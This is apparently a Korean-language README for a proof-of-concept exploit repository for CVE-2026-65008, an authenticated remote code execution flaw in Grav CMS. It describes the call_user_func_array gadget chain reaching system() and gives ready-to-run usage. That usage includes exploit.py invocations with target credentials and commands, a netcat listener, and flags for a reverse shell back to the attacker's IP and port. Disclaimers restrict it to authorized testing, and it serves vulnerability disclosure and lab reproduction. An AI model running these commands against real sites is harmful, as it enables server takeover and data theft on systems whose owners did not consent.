
CVE-2026-65008
CVE-2026-65008에 대한 개념 증명(PoC): Blueprint::dynamicData()의 제한 없는 call_user_func_array()를 통한 Grav CMS 인증된 원격 코드 실행.
admin.pages(또는 api.pages.write) 권한이 있는 사용자는 악성 form frontmatter를 심을 수 있습니다. 이후 어떤 방문자(인증되지 않은 사용자 포함)가 페이지를 로드하면 페이로드가 웹 서버 사용자 권한으로 실행됩니다.
승인된 테스트 전용. 자신이 소유했거나 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오.
| 역할 | |
|---|---|
| 취약점 보고자 | YuvalMil, MatiHub25, LeonKaya |
| 공급업체 권고 | GHSA-fj2p-qj2f-74v5 |
| 이 저장소 | 독립 랩 PoC / 자동화 |
CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008
Blueprint::dynamicData()는 공격자가 제어하는 Class::method 콜러블과 인자를 허용 목록(allowlist) 없이 PHP call_user_func_array()에 전달합니다. Grav\Common\Utils::arrayFilterRecursive를 트램펄린으로 함께 사용하면 system() / passthru 등에 도달할 수 있습니다.
**Grav 2.0.7+**에서 패치되었습니다.
9.8 치명적 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
requests설치:
pip install -r requirements.txt
python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"
먼저 리스너를 시작하십시오:
nc -lvnp 4444
그런 다음:
python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444
/admin에 로그인 (login-nonce 추출)admin_nonce 획득data-opts@: 가젯이 포함된 페이지 저장www-data 권한으로 RCE이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 작성자는 오용에 대해 책임을 지지 않습니다. 제3자 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오. 원래 취약점은 공급업체 권고를 통해 공개되었으며, 이 저장소는 실험실 재현만을 시연합니다.
연구 목적 사용 전용. 보증 없음.
| 플래그 | 설명 |
|---|
-u, --url | 대상 기본 URL (필수) |
-U, --username | 관리자 / 페이지 편집 사용자 (기본값: admin) |
-P, --password | 비밀번호 (필수) |
-c, --command | 실행할 명령 (기본값: id) |
--lhost | 리버스 셸 LHOST |
--lport | 리버스 셸 LPORT (기본값: 4444) |
--folder | 페이지 폴더 이름 (기본값: rcepoc) |
--no-verify | TLS 검증 비활성화 |